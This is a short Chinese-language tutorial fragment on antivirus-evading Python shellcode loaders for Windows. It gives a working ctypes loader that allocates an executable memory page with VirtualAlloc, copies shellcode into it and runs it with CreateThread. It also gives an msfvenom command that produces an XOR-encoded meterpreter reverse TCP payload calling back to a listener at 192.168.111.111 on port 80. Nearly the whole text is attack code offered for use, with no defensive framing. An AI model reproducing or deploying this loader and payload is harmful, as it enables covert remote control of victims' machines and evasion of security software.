1、第一个shellcode加载器

buf = b""
buf += b"\xeb\x27\x5b\x53\x5f\xb0\xe7\xfc\xae\x75\xfd\x57"
#-------shellcode省略-------#以下为shellcode加载器
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
2、python加载shellcode免杀
-
利用msf生成shellcode
msfvenom -e x64/xor_dynamic -i 16 -p windows/x64/meterpreter_reverse_tcp lhost=192.168.111.111 lport=80 -f py -o shell.py
